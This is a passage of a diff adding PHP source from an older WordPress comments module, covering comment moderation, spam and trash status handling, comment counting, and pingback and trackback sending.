$user_ip, $user_agent) { + do_action('wp_blacklist_check', $author, $email, $url, $comment, $user_ip, $user_agent); + + $mod_keys = trim( get_option('blacklist_keys') ); + if ( '' == $mod_keys ) + return false; // If moderation keys are empty + $words = explode("\n", $mod_keys ); + + foreach ( (array) $words as $word ) { + $word = trim($word); + + // Skip empty lines + if ( empty($word) ) { continue; } + + // Do some escaping magic so that '#' chars in the + // spam words don't break things: + $word = preg_quote($word, '#'); + + $pattern = "#$word#i"; + if ( + preg_match($pattern, $author) + || preg_match($pattern, $email) + || preg_match($pattern, $url) + || preg_match($pattern, $comment) + || preg_match($pattern, $user_ip) + || preg_match($pattern, $user_agent) + ) + return true; + } + return false; +} + +/** + * Retrieve total comments for blog or single post. + * + * The properties of the returned object contain the 'moderated', 'approved', + * and spam comments for either the entire blog or single post. Those properties + * contain the amount of comments that match the status. The 'total_comments' + * property contains the integer of total comments. + * + * The comment stats are cached and then retrieved, if they already exist in the + * cache. + * + * @since 2.5.0 + * + * @param int $post_id Optional. Post ID. + * @return object Comment stats. + */ +function wp_count_comments( $post_id = 0 ) { + global $wpdb; + + $post_id = (int) $post_id; + + $stats = apply_filters('wp_count_comments', array(), $post_id); + if ( !empty($stats) ) + return $stats; + + $count = wp_cache_get("comments-{$post_id}", 'counts'); + + if ( false !== $count ) + return $count; + + $where = ''; + if ( $post_id > 0 ) + $where = $wpdb->prepare( "WHERE comment_post_ID = %d", $post_id ); + + $count = $wpdb->get_results( "SELECT comment_approved, COUNT( * ) AS num_comments FROM {$wpdb->comments} {$where} GROUP BY comment_approved", ARRAY_A ); + + $total = 0; + $approved = array('0' => 'moderated', '1' => 'approved', 'spam' => 'spam', 'trash' => 'trash', 'post-trashed' => 'post-trashed'); + $known_types = array_keys( $approved ); + foreach( (array) $count as $row_num => $row ) { + // Don't count post-trashed toward totals + if ( 'post-trashed' != $row['comment_approved'] && 'trash' != $row['comment_approved'] ) + $total += $row['num_comments']; + if ( in_array( $row['comment_approved'], $known_types ) ) + $stats[$approved[$row['comment_approved']]] = $row['num_comments']; + } + + $stats['total_comments'] = $total; + foreach ( $approved as $key ) { + if ( empty($stats[$key]) ) + $stats[$key] = 0; + } + + $stats = (object) $stats; + wp_cache_set("comments-{$post_id}", $stats, 'counts'); + + return $stats; +} + +/** + * Removes comment ID and maybe updates post comment count. + * + * The post comment count will be updated if the comment was approved and has a + * post ID available. + * + * @since 2.0.0 + * @uses $wpdb + * @uses do_action() Calls 'delete_comment' hook on comment ID + * @uses do_action() Calls 'deleted_comment' hook on comment ID after deletion, on success + * @uses do_action() Calls 'wp_set_comment_status' hook on comment ID with 'delete' set for the second parameter + * @uses wp_transition_comment_status() Passes new and old comment status along with $comment object + * + * @param int $comment_id Comment ID + * @return bool False if delete comment query failure, true on success. + */ +function wp_delete_comment($comment_id) { + global $wpdb; + if (!$comment = get_comment($comment_id)) + return false; + + if (wp_get_comment_status($comment_id) != 'trash' && wp_get_comment_status($comment_id) != 'spam' && EMPTY_TRASH_DAYS > 0) + return wp_trash_comment($comment_id); + + do_action('delete_comment', $comment_id); + + // Move children up a level. + $children = $wpdb->get_col( $wpdb->prepare("SELECT comment_ID FROM $wpdb->comments WHERE comment_parent = %d", $comment_id) ); + if ( !empty($children) ) { + $wpdb->update($wpdb->comments, array('comment_parent' => $comment->comment_parent), array('comment_parent' => $comment_id)); + clean_comment_cache($children); + } + + // Delete metadata + $meta_ids = $wpdb->get_col( $wpdb->prepare( "SELECT meta_id FROM $wpdb->commentmeta WHERE comment_id = %d ", $comment_id ) ); + if ( !empty($meta_ids) ) { + do_action( 'delete_commentmeta', $meta_ids ); + $in_meta_ids = "'" . implode("', '", $meta_ids) . "'"; + $wpdb->query( "DELETE FROM $wpdb->commentmeta WHERE meta_id IN ($in_meta_ids)" ); + do_action( 'deleted_commentmeta', $meta_ids ); + } + + if ( ! $wpdb->query( $wpdb->prepare("DELETE FROM $wpdb->comments WHERE comment_ID = %d LIMIT 1", $comment_id) ) ) + return false; + do_action('deleted_comment', $comment_id); + + $post_id = $comment->comment_post_ID; + if ( $post_id && $comment->comment_approved == 1 ) + wp_update_comment_count($post_id); + + clean_comment_cache($comment_id); + + do_action('wp_set_comment_status', $comment_id, 'delete'); + wp_transition_comment_status('delete', $comment->comment_approved, $comment); + return true; +} + +/** + * Moves a comment to the Trash + * + * @since 2.9.0 + * @uses do_action() on 'trash_comment' before trashing + * @uses do_action() on 'trashed_comment' after trashing + * + * @param int $comment_id Comment ID. + * @return mixed False on failure + */ +function wp_trash_comment($comment_id) { + if ( EMPTY_TRASH_DAYS == 0 ) + return wp_delete_comment($comment_id); + + if ( !$comment = get_comment($comment_id) ) + return false; + + do_action('trash_comment', $comment_id); + + if ( wp_set_comment_status($comment_id, 'trash') ) { + add_comment_meta($comment_id, '_wp_trash_meta_status', $comment->comment_approved); + add_comment_meta($comment_id, '_wp_trash_meta_time', time() ); + do_action('trashed_comment', $comment_id); + return true; + } + + return false; +} + +/** + * Removes a comment from the Trash + * + * @since 2.9.0 + * @uses do_action() on 'untrash_comment' before untrashing + * @uses do_action() on 'untrashed_comment' after untrashing + * + * @param int $comment_id Comment ID. + * @return mixed False on failure + */ +function wp_untrash_comment($comment_id) { + if ( ! (int)$comment_id ) + return false; + + do_action('untrash_comment', $comment_id); + + $status = (string) get_comment_meta($comment_id, '_wp_trash_meta_status', true); + if ( empty($status) ) + $status = '0'; + + if ( wp_set_comment_status($comment_id, $status) ) { + delete_comment_meta($comment_id, '_wp_trash_meta_time'); + delete_comment_meta($comment_id, '_wp_trash_meta_status'); + do_action('untrashed_comment', $comment_id); + return true; + } + + return false; +} + +/** + * Marks a comment as Spam + * + * @since 2.9.0 + * @uses do_action() on 'spam_comment' before spamming + * @uses do_action() on 'spammed_comment' after spamming + * + * @param int $comment_id Comment ID. + * @return mixed False on failure + */ +function wp_spam_comment($comment_id) { + if ( !$comment = get_comment($comment_id) ) + return false; + + do_action('spam_comment', $comment_id); + + if ( wp_set_comment_status($comment_id, 'spam') ) { + add_comment_meta($comment_id, '_wp_trash_meta_status', $comment->comment_approved); + do_action('spammed_comment', $comment_id); + return true; + } + + return false; +} + +/** + * Removes a comment from the Spam + * + * @since 2.9.0 + * @uses do_action() on 'unspam_comment' before unspamming + * @uses do_action() on 'unspammed_comment' after unspamming + * + * @param int $comment_id Comment ID. + * @return mixed False on failure + */ +function wp_unspam_comment($comment_id) { + if ( ! (int)$comment_id ) + return false; + + do_action('unspam_comment', $comment_id); + + $status = (string) get_comment_meta($comment_id, '_wp_trash_meta_status', true); + if ( empty($status) ) + $status = '0'; + + if ( wp_set_comment_status($comment_id, $status) ) { + delete_comment_meta($comment_id, '_wp_trash_meta_status'); + do_action('unspammed_comment', $comment_id); + return true; + } + + return false; +} + +/** + * The status of a comment by ID. + * + * @since 1.0.0 + * + * @param int $comment_id Comment ID + * @return string|bool Status might be 'trash', 'approved', 'unapproved', 'spam'. False on failure. + */ +function wp_get_comment_status($comment_id) { + $comment = get_comment($comment_id); + if ( !$comment ) + return false; + + $approved = $comment->comment_approved; + + if ( $approved == NULL ) + return false; + elseif ( $approved == '1' ) + return 'approved'; + elseif ( $approved == '0' ) + return 'unapproved'; + elseif ( $approved == 'spam' ) + return 'spam'; + elseif ( $approved == 'trash' ) + return 'trash'; + else + return false; +} + +/** + * Call hooks for when a comment status transition occurs. + * + * Calls hooks for comment status transitions. If the new comment status is not the same + * as the previous comment status, then two hooks will be ran, the first is + * 'transition_comment_status' with new status, old status, and comment data. The + * next action called is 'comment_OLDSTATUS_to_NEWSTATUS' the NEWSTATUS is the + * $new_status parameter and the OLDSTATUS is $old_status parameter; it has the + * comment data. + * + * The final action will run whether or not the comment statuses are the same. The + * action is named 'comment_NEWSTATUS_COMMENTTYPE', NEWSTATUS is from the $new_status + * parameter and COMMENTTYPE is comment_type comment data. + * + * @since 2.7.0 + * + * @param string $new_status New comment status. + * @param string $old_status Previous comment status. + * @param object $comment Comment data. + */ +function wp_transition_comment_status($new_status, $old_status, $comment) { + // Translate raw statuses to human readable formats for the hooks + // This is not a complete list of comment status, it's only the ones that need to be renamed + $comment_statuses = array( + 0 => 'unapproved', + 'hold' => 'unapproved', // wp_set_comment_status() uses "hold" + 1 => 'approved', + 'approve' => 'approved', // wp_set_comment_status() uses "approve" + ); + if ( isset($comment_statuses[$new_status]) ) $new_status = $comment_statuses[$new_status]; + if ( isset($comment_statuses[$old_status]) ) $old_status = $comment_statuses[$old_status]; + + // Call the hooks + if ( $new_status != $old_status ) { + do_action('transition_comment_status', $new_status, $old_status, $comment); + do_action("comment_${old_status}_to_$new_status", $comment); + } + do_action("comment_${new_status}_$comment->comment_type", $comment->comment_ID, $comment); +} + +/** + * Get current commenter's name, email, and URL. + * + * Expects cookies content to already be sanitized. User of this function might + * wish to recheck the returned array for validity. + * + * @see sanitize_comment_cookies() Use to sanitize cookies + * + * @since 2.0.4 + * + * @return array Comment author, email, url respectively. + */ +function wp_get_current_commenter() { + // Cookies should already be sanitized. + + $comment_author = ''; + if ( isset($_COOKIE['comment_author_'.COOKIEHASH]) ) + $comment_author = $_COOKIE['comment_author_'.COOKIEHASH]; + + $comment_author_email = ''; + if ( isset($_COOKIE['comment_author_email_'.COOKIEHASH]) ) + $comment_author_email = $_COOKIE['comment_author_email_'.COOKIEHASH]; + + $comment_author_url = ''; + if ( isset($_COOKIE['comment_author_url_'.COOKIEHASH]) ) + $comment_author_url = $_COOKIE['comment_author_url_'.COOKIEHASH]; + + return compact('comment_author', 'comment_author_email', 'comment_author_url'); +} + +/** + * Inserts a comment to the database. + * + * The available comment data key names are 'comment_author_IP', 'comment_date', + * 'comment_date_gmt', 'comment_parent', 'comment_approved', and 'user_id'. + * + * @since 2.0.0 + * @uses $wpdb + * + * @param array $commentdata Contains information on the comment. + * @return int The new comment's ID. + */ +function wp_insert_comment($commentdata) { + global $wpdb; + extract(stripslashes_deep($commentdata), EXTR_SKIP); + + if ( ! isset($comment_author_IP) ) + $comment_author_IP = ''; + if ( ! isset($comment_date) ) + $comment_date = current_time('mysql'); + if ( ! isset($comment_date_gmt) ) + $comment_date_gmt = get_gmt_from_date($comment_date); + if ( ! isset($comment_parent) ) + $comment_parent = 0; + if ( ! isset($comment_approved) ) + $comment_approved = 1; + if ( ! isset($comment_karma) ) + $comment_karma = 0; + if ( ! isset($user_id) ) + $user_id = 0; + if ( ! isset($comment_type) ) + $comment_type = ''; + + $data = compact('comment_post_ID', 'comment_author', 'comment_author_email', 'comment_author_url', 'comment_author_IP', 'comment_date', 'comment_date_gmt', 'comment_content', 'comment_karma', 'comment_approved', 'comment_agent', 'comment_type', 'comment_parent', 'user_id'); + $wpdb->insert($wpdb->comments, $data); + + $id = (int) $wpdb->insert_id; + + if ( $comment_approved == 1 ) + wp_update_comment_count($comment_post_ID); + + $comment = get_comment($id); + do_action('wp_insert_comment', $id, $comment); + + return $id; +} + +/** + * Filters and sanitizes comment data. + * + * Sets the comment data 'filtered' field to true when finished. This can be + * checked as to whether the comment should be filtered and to keep from + * filtering the same comment more than once. + * + * @since 2.0.0 + * @uses apply_filters() Calls 'pre_user_id' hook on comment author's user ID + * @uses apply_filters() Calls 'pre_comment_user_agent' hook on comment author's user agent + * @uses apply_filters() Calls 'pre_comment_author_name' hook on comment author's name + * @uses apply_filters() Calls 'pre_comment_content' hook on the comment's content + * @uses apply_filters() Calls 'pre_comment_user_ip' hook on comment author's IP + * @uses apply_filters() Calls 'pre_comment_author_url' hook on comment author's URL + * @uses apply_filters() Calls 'pre_comment_author_email' hook on comment author's email address + * + * @param array $commentdata Contains information on the comment. + * @return array Parsed comment information. + */ +function wp_filter_comment($commentdata) { + if ( isset($commentdata['user_ID']) ) + $commentdata['user_id'] = apply_filters('pre_user_id', $commentdata['user_ID']); + elseif ( isset($commentdata['user_id']) ) + $commentdata['user_id'] = apply_filters('pre_user_id', $commentdata['user_id']); + $commentdata['comment_agent'] = apply_filters('pre_comment_user_agent', $commentdata['comment_agent']); + $commentdata['comment_author'] = apply_filters('pre_comment_author_name', $commentdata['comment_author']); + $commentdata['comment_content'] = apply_filters('pre_comment_content', $commentdata['comment_content']); + $commentdata['comment_author_IP'] = apply_filters('pre_comment_user_ip', $commentdata['comment_author_IP']); + $commentdata['comment_author_url'] = apply_filters('pre_comment_author_url', $commentdata['comment_author_url']); + $commentdata['comment_author_email'] = apply_filters('pre_comment_author_email', $commentdata['comment_author_email']); + $commentdata['filtered'] = true; + return $commentdata; +} + +/** + * Whether comment should be blocked because of comment flood. + * + * @since 2.1.0 + * + * @param bool $block Whether plugin has already blocked comment. + * @param int $time_lastcomment Timestamp for last comment. + * @param int $time_newcomment Timestamp for new comment. + * @return bool Whether comment should be blocked. + */ +function wp_throttle_comment_flood($block, $time_lastcomment, $time_newcomment) { + if ( $block ) // a plugin has already blocked... we'll let that decision stand + return $block; + if ( ($time_newcomment - $time_lastcomment) < 15 ) + return true; + return false; +} + +/** + * Adds a new comment to the database. + * + * Filters new comment to ensure that the fields are sanitized and valid before + * inserting comment into database. Calls 'comment_post' action with comment ID + * and whether comment is approved by WordPress. Also has 'preprocess_comment' + * filter for processing the comment data before the function handles it. + * + * @since 1.5.0 + * @uses apply_filters() Calls 'preprocess_comment' hook on $commentdata parameter array before processing + * @uses do_action() Calls 'comment_post' hook on $comment_ID returned from adding the comment and if the comment was approved. + * @uses wp_filter_comment() Used to filter comment before adding comment. + * @uses wp_allow_comment() checks to see if comment is approved. + * @uses wp_insert_comment() Does the actual comment insertion to the database. + * + * @param array $commentdata Contains information on the comment. + * @return int The ID of the comment after adding. + */ +function wp_new_comment( $commentdata ) { + $commentdata = apply_filters('preprocess_comment', $commentdata); + + $commentdata['comment_post_ID'] = (int) $commentdata['comment_post_ID']; + if ( isset($commentdata['user_ID']) ) + $commentdata['user_id'] = $commentdata['user_ID'] = (int) $commentdata['user_ID']; + elseif ( isset($commentdata['user_id']) ) + $commentdata['user_id'] = (int) $commentdata['user_id']; + + $commentdata['comment_parent'] = isset($commentdata['comment_parent']) ? absint($commentdata['comment_parent']) : 0; + $parent_status = ( 0 < $commentdata['comment_parent'] ) ? wp_get_comment_status($commentdata['comment_parent']) : ''; + $commentdata['comment_parent'] = ( 'approved' == $parent_status || 'unapproved' == $parent_status ) ? $commentdata['comment_parent'] : 0; + + $commentdata['comment_author_IP'] = preg_replace( '/[^0-9a-fA-F:., ]/', '',$_SERVER['REMOTE_ADDR'] ); + $commentdata['comment_agent'] = substr($_SERVER['HTTP_USER_AGENT'], 0, 254); + + $commentdata['comment_date'] = current_time('mysql'); + $commentdata['comment_date_gmt'] = current_time('mysql', 1); + + $commentdata = wp_filter_comment($commentdata); + + $commentdata['comment_approved'] = wp_allow_comment($commentdata); + + $comment_ID = wp_insert_comment($commentdata); + + do_action('comment_post', $comment_ID, $commentdata['comment_approved']); + + if ( 'spam' !== $commentdata['comment_approved'] ) { // If it's spam save it silently for later crunching + if ( '0' == $commentdata['comment_approved'] ) + wp_notify_moderator($comment_ID); + + $post = &get_post($commentdata['comment_post_ID']); // Don't notify if it's your own comment + + if ( get_option('comments_notify') && $commentdata['comment_approved'] && $post->post_author != $commentdata['user_id'] ) + wp_notify_postauthor($comment_ID, $commentdata['comment_type']); + } + + return $comment_ID; +} + +/** + * Sets the status of a comment. + * + * The 'wp_set_comment_status' action is called after the comment is handled and + * will only be called, if the comment status is either 'hold', 'approve', or + * 'spam'. If the comment status is not in the list, then false is returned and + * if the status is 'delete', then the comment is deleted without calling the + * action. + * + * @since 1.0.0 + * @uses wp_transition_comment_status() Passes new and old comment status along with $comment object + * + * @param int $comment_id Comment ID. + * @param string $comment_status New comment status, either 'hold', 'approve', 'spam', or 'delete'. + * @param bool $wp_error Whether to return a WP_Error object if there is a failure. Default is false. + * @return bool False on failure or deletion and true on success. + */ +function wp_set_comment_status($comment_id, $comment_status, $wp_error = false) { + global $wpdb; + + $status = '0'; + switch ( $comment_status ) { + case 'hold': + case '0': + $status = '0'; + break; + case 'approve': + case '1': + $status = '1'; + if ( get_option('comments_notify') ) { + $comment = get_comment($comment_id); + wp_notify_postauthor($comment_id, $comment->comment_type); + } + break; + case 'spam': + $status = 'spam'; + break; + case 'trash': + $status = 'trash'; + break; + default: + return false; + } + + $comment_old = wp_clone(get_comment($comment_id)); + + if ( !$wpdb->update( $wpdb->comments, array('comment_approved' => $status), array('comment_ID' => $comment_id) ) ) { + if ( $wp_error ) + return new WP_Error('db_update_error', __('Could not update comment status'), $wpdb->last_error); + else + return false; + } + + clean_comment_cache($comment_id); + + $comment = get_comment($comment_id); + + do_action('wp_set_comment_status', $comment_id, $comment_status); + wp_transition_comment_status($comment_status, $comment_old->comment_approved, $comment); + + wp_update_comment_count($comment->comment_post_ID); + + return true; +} + +/** + * Updates an existing comment in the database. + * + * Filters the comment and makes sure certain fields are valid before updating. + * + * @since 2.0.0 + * @uses $wpdb + * @uses wp_transition_comment_status() Passes new and old comment status along with $comment object + * + * @param array $commentarr Contains information on the comment. + * @return int Comment was updated if value is 1, or was not updated if value is 0. + */ +function wp_update_comment($commentarr) { + global $wpdb; + + // First, get all of the original fields + $comment = get_comment($commentarr['comment_ID'], ARRAY_A); + + // Escape data pulled from DB. + $comment = esc_sql($comment); + + $old_status = $comment['comment_approved']; + + // Merge old and new fields with new fields overwriting old ones. + $commentarr = array_merge($comment, $commentarr); + + $commentarr = wp_filter_comment( $commentarr ); + + // Now extract the merged array. + extract(stripslashes_deep($commentarr), EXTR_SKIP); + + $comment_content = apply_filters('comment_save_pre', $comment_content); + + $comment_date_gmt = get_gmt_from_date($comment_date); + + if ( !isset($comment_approved) ) + $comment_approved = 1; + else if ( 'hold' == $comment_approved ) + $comment_approved = 0; + else if ( 'approve' == $comment_approved ) + $comment_approved = 1; + + $data = compact('comment_content', 'comment_author', 'comment_author_email', 'comment_approved', 'comment_karma', 'comment_author_url', 'comment_date', 'comment_date_gmt'); + $wpdb->update($wpdb->comments, $data, compact('comment_ID')); + + $rval = $wpdb->rows_affected; + + clean_comment_cache($comment_ID); + wp_update_comment_count($comment_post_ID); + do_action('edit_comment', $comment_ID); + $comment = get_comment($comment_ID); + wp_transition_comment_status($comment->comment_approved, $old_status, $comment); + return $rval; +} + +/** + * Whether to defer comment counting. + * + * When setting $defer to true, all post comment counts will not be updated + * until $defer is set to false. When $defer is set to false, then all + * previously deferred updated post comment counts will then be automatically + * updated without having to call wp_update_comment_count() after. + * + * @since 2.5.0 + * @staticvar bool $_defer + * + * @param bool $defer + * @return unknown + */ +function wp_defer_comment_counting($defer=null) { + static $_defer = false; + + if ( is_bool($defer) ) { + $_defer = $defer; + // flush any deferred counts + if ( !$defer ) + wp_update_comment_count( null, true ); + } + + return $_defer; +} + +/** + * Updates the comment count for post(s). + * + * When $do_deferred is false (is by default) and the comments have been set to + * be deferred, the post_id will be added to a queue, which will be updated at a + * later date and only updated once per post ID. + * + * If the comments have not be set up to be deferred, then the post will be + * updated. When $do_deferred is set to true, then all previous deferred post + * IDs will be updated along with the current $post_id. + * + * @since 2.1.0 + * @see wp_update_comment_count_now() For what could cause a false return value + * + * @param int $post_id Post ID + * @param bool $do_deferred Whether to process previously deferred post comment counts + * @return bool True on success, false on failure + */ +function wp_update_comment_count($post_id, $do_deferred=false) { + static $_deferred = array(); + + if ( $do_deferred ) { + $_deferred = array_unique($_deferred); + foreach ( $_deferred as $i => $_post_id ) { + wp_update_comment_count_now($_post_id); + unset( $_deferred[$i] ); /** @todo Move this outside of the foreach and reset $_deferred to an array instead */ + } + } + + if ( wp_defer_comment_counting() ) { + $_deferred[] = $post_id; + return true; + } + elseif ( $post_id ) { + return wp_update_comment_count_now($post_id); + } + +} + +/** + * Updates the comment count for the post. + * + * @since 2.5.0 + * @uses $wpdb + * @uses do_action() Calls 'wp_update_comment_count' hook on $post_id, $new, and $old + * @uses do_action() Calls 'edit_posts' hook on $post_id and $post + * + * @param int $post_id Post ID + * @return bool False on '0' $post_id or if post with ID does not exist. True on success. + */ +function wp_update_comment_count_now($post_id) { + global $wpdb; + $post_id = (int) $post_id; + if ( !$post_id ) + return false; + if ( !$post = get_post($post_id) ) + return false; + + $old = (int) $post->comment_count; + $new = (int) $wpdb->get_var( $wpdb->prepare("SELECT COUNT(*) FROM $wpdb->comments WHERE comment_post_ID = %d AND comment_approved = '1'", $post_id) ); + $wpdb->update( $wpdb->posts, array('comment_count' => $new), array('ID' => $post_id) ); + + if ( 'page' == $post->post_type ) + clean_page_cache( $post_id ); + else + clean_post_cache( $post_id ); + + do_action('wp_update_comment_count', $post_id, $new, $old); + do_action('edit_post', $post_id, $post); + + return true; +} + +// +// Ping and trackback functions. +// + +/** + * Finds a pingback server URI based on the given URL. + * + * Checks the HTML for the rel="pingback" link and x-pingback headers. It does + * a check for the x-pingback headers first and returns that, if available. The + * check for the rel="pingback" has more overhead than just the header. + * + * @since 1.5.0 + * + * @param string $url URL to ping. + * @param int $deprecated Not Used. + * @return bool|string False on failure, string containing URI on success. + */ +function discover_pingback_server_uri($url, $deprecated = 2048) { + + $pingback_str_dquote = 'rel="pingback"'; + $pingback_str_squote = 'rel=\'pingback\''; + + /** @todo Should use Filter Extension or custom preg_match instead. */ + $parsed_url = parse_url($url); + + if ( ! isset( $parsed_url['host'] ) ) // Not an URL. This should never happen. + return false; + + //Do not search for a pingback server on our own uploads + $uploads_dir = wp_upload_dir(); + if ( 0 === strpos($url, $uploads_dir['baseurl']) ) + return false; + + $response = wp_remote_head( $url, array( 'timeout' => 2, 'httpversion' => '1.0' ) ); + + if ( is_wp_error( $response ) ) + return false; + + if ( isset( $response['headers']['x-pingback'] ) ) + return $response['headers']['x-pingback']; + + // Not an (x)html, sgml, or xml page, no use going further. + if ( isset( $response['headers']['content-type'] ) && preg_match('#(image|audio|video|model)/#is', $response['headers']['content-type']) ) + return false; + + // Now do a GET since we're going to look in the html headers (and we're sure its not a binary file) + $response = wp_remote_get( $url, array( 'timeout' => 2, 'httpversion' => '1.0' ) ); + + if ( is_wp_error( $response ) ) + return false; + + $contents = $response['body']; + + $pingback_link_offset_dquote = strpos($contents, $pingback_str_dquote); + $pingback_link_offset_squote = strpos($contents, $pingback_str_squote); + if ( $pingback_link_offset_dquote || $pingback_link_offset_squote ) { + $quote = ($pingback_link_offset_dquote) ? '"' : '\''; + $pingback_link_offset = ($quote=='"') ? $pingback_link_offset_dquote : $pingback_link_offset_squote; + $pingback_href_pos = @strpos($contents, 'href=', $pingback_link_offset); + $pingback_href_start = $pingback_href_pos+6; + $pingback_href_end = @strpos($contents, $quote, $pingback_href_start); + $pingback_server_url_len = $pingback_href_end - $pingback_href_start; + $pingback_server_url = substr($contents, $pingback_href_start, $pingback_server_url_len); + + // We may find rel="pingback" but an incomplete pingback URL + if ( $pingback_server_url_len > 0 ) { // We got it! + return $pingback_server_url; + } + } + + return false; +} + +/** + * Perform all pingbacks, enclosures, trackbacks, and send to pingback services. + * + * @since 2.1.0 + * @uses $wpdb + */ +function do_all_pings() { + global $wpdb; + + // Do pingbacks + while ($ping = $wpdb->get_row("SELECT * FROM {$wpdb->posts}, {$wpdb->postmeta} WHERE {$wpdb->posts}.ID = {$wpdb->postmeta}.post_id AND {$wpdb->postmeta}.meta_key = '_pingme' LIMIT 1")) { + $mid = $wpdb->get_var( "SELECT meta_id FROM {$wpdb->postmeta} WHERE post_id = {$ping->ID} AND meta_key = '_pingme' LIMIT 1"); + do_action( 'delete_postmeta', $mid ); + $wpdb->query( $wpdb->prepare( "DELETE FROM {$wpdb->postmeta} WHERE meta_id = %d", $mid ) ); + do_action( 'deleted_postmeta', $mid ); + pingback($ping->post_content, $ping->ID); + } + + // Do Enclosures + while ($enclosure = $wpdb->get_row("SELECT * FROM {$wpdb->posts}, {$wpdb->postmeta} WHERE {$wpdb->posts}.ID = {$wpdb->postmeta}.post_id AND {$wpdb->postmeta}.meta_key = '_encloseme' LIMIT 1")) { + $mid = $wpdb->get_var( $wpdb->prepare("SELECT meta_id FROM {$wpdb->postmeta} WHERE post_id = %d AND meta_key = '_encloseme'", $enclosure->ID) ); + do_action( 'delete_postmeta', $mid ); + $wpdb->query( $wpdb->prepare("DELETE FROM {$wpdb->postmeta} WHERE meta_id = %d", $mid) ); + do_action( 'deleted_postmeta', $mid ); + do_enclose($enclosure->post_content, $enclosure->ID); + } + + // Do Trackbacks + $trackbacks = $wpdb->get_col("SELECT ID FROM $wpdb->posts WHERE to_ping <> '' AND post_status = 'publish'"); + if ( is_array($trackbacks) ) + foreach ( $trackbacks as $trackback ) + do_trackbacks($trackback); + + //Do Update Services/Generic Pings + generic_ping(); +} + +/** + * Perform trackbacks. + * + * @since 1.5.0 + * @uses $wpdb + * + * @param int $post_id Post ID to do trackbacks on. + */ +function do_trackbacks($post_id) { + global $wpdb; + + $post = $wpdb->get_row( $wpdb->prepare("SELECT * FROM $wpdb->posts WHERE ID = %d", $post_id) ); + $to_ping = get_to_ping($post_id); + $pinged = get_pung($post_id); + if ( empty($to_ping) ) { + $wpdb->update($wpdb->posts, array('to_ping' => ''), array('ID' => $post_id) ); + return; + } + + if ( empty($post->post_excerpt) ) + $excerpt = apply_filters('the_content', $post->post_content); + else + $excerpt = apply_filters('the_excerpt', $post->post_excerpt); + $excerpt = str_replace(']]>', ']]>', $excerpt); + $excerpt = wp_html_excerpt($excerpt, 252) . '...'; + + $post_title = apply_filters('the_title', $post->post_title); + $post_title = strip_tags($post_title); + + if ( $to_ping ) { + foreach ( (array) $to_ping as $tb_ping ) { + $tb_ping = trim($tb_ping); + if ( !in_array($tb_ping, $pinged) ) { + trackback($tb_ping, $post_title, $excerpt, $post_id); + $pinged[] = $tb_ping; + } else { + $wpdb->query( $wpdb->prepare("UPDATE $wpdb->posts SET to_ping = TRIM(REPLACE(to_ping, '$tb_ping', '')) WHERE ID = %d", $post_id) ); + } + } + } +} + +/** + * Sends pings to all of the ping site services. + * + * @since 1.2.0 + * + * @param int $post_id Post ID. Not actually used. + * @return int Same as Post ID from parameter + */ +function generic_ping($post_id = 0) { + $services = get_option('ping_sites'); + + $services = explode("\n", $services); + foreach ( (array) $services as $service ) { + $service = trim($service); + if ( '' != $service ) + weblog_ping($service); + } + + return $post_id; +} + +/** + * Pings back the links found in a post. + * + * @since 0.71 + * @uses $wp_version + * @uses IXR_Client + * + * @param string $content Post content to check for links. + * @param int $post_ID Post ID. + */ +function pingback($content, $post_ID) { + global $wp_version; + include_once(ABSPATH . WPINC . '/class-IXR.php'); + + // original code by Mort (http://mort.mine.nu:8080) + $post_links = array(); + + $pung = get_pung($post_ID); + + // Variables + $ltrs = '\w'; + $gunk = '/#~:.?+=&%@!\-'; + $punc = '.:?\-'; + $any = $ltrs . $gunk . $punc; + + // Step 1 + // Parsing the post, external links (if any) are stored in the $post_links array + // This regexp comes straight from phpfreaks.com + // http://www.phpfreaks.com/quickcode/Extract_All_URLs_on_a_Page/15.php + preg_match_all("{\b http : [$any] +? (?= [$punc] * [^$any] | $)}x", $content, $post_links_temp); + + // Step 2. + // Walking thru the links array + // first we get rid of links pointing to sites, not to specific files + // Example: + // http://dummy-weblog.org + // http://dummy-weblog.org/ + // http://dummy-weblog.org/post.php + // We don't wanna ping first and second types, even if they have a valid + + foreach ( (array) $post_links_temp[0] as $link_test ) : + if ( !in_array($link_test, $pung) && (url_to_postid($link_test) != $post_ID) // If we haven't pung it already and it isn't a link to itself + && !is_local_attachment($link_test) ) : // Also, let's never ping local attachments. + if ( $test = @parse_url($link_test) ) { + if ( isset($test['query']) ) + $post_links[] = $link_test; + elseif ( ($test['path'] != '/') && ($test['path'] != '') ) + $post_links[] = $link_test; + } + endif; + endforeach; + + do_action_ref_array('pre_ping', array(&$post_links, &$pung)); + + foreach ( (array) $post_links as $pagelinkedto ) { + $pingback_server_url = discover_pingback_server_uri($pagelinkedto, 2048); + + if ( $pingback_server_url ) { + @ set_time_limit( 60 ); + // Now, the RPC call + $pagelinkedfrom = get_permalink($post_ID); + + // using a timeout of 3 seconds should be enough to cover slow servers + $client = new IXR_Client($pingback_server_url); + $client->timeout = 3; + $client->useragent = apply_filters( 'pingback_useragent', $client->useragent . ' -- WordPress/' . $wp_version, $client->useragent, $pingback_server_url, $pagelinkedto, $pagelinkedfrom); + // when set to true, this outputs debug messages by itself + $client->debug = false; + + if ( $client->query('pingback.ping', $pagelinkedfrom, $pagelinkedto) || ( isset($client->error->code) && 48 == $client->error->code ) ) // Already registered + add_ping( $post_ID, $pagelinkedto ); + } + } +} + +/** + * Check whether blog is public before returning sites. + * + * @since 2.1.0 + * + * @param mixed $sites Will return if blog is public, will not return if not public. + * @return mixed Empty string if blog is not public, returns $sites, if site is public. + */ +function privacy_ping_filter($sites) { + if ( '0' != get_option('blog_public') ) + return $sites; + else + return ''; +} + +/** + * Send a Trackback. + * + * Updates database when sending trackback to prevent duplicates. + * + * @since 0.71 + * @uses $wpdb + * + * @param string $trackback_url URL to send trackbacks. + * @param string $title Title of post. + * @param string $excerpt Excerpt of post. + * @param int $ID Post ID. + * @return mixed Database query from update. + */ +function trackback($trackback_url, $title, $excerpt, $ID) { + global $wpdb; + + if ( empty($trackback_url) ) + return; + + $options = array(); + $options['timeout'] = 4; + $options['body'] = array( + 'title' => $title, + 'url' => get_permalink($ID), + 'blog_name' => get_option('blogname'), + 'excerpt' => $excerpt + ); + + $response = wp_remote_post($trackback_url, $options); + + if ( is_wp_error( $response ) ) + return; + + $tb_url = addslashes( $trackback_url ); + $wpdb->query( $wpdb->prepare("UPDATE $wpdb->posts SET pinged = CONCAT(pinged, '\n', '$tb_url') WHERE ID = %d", $ID) ); + return $wpdb->query( $wpdb->prepare("UPDATE $wpdb->posts SET to_ping = 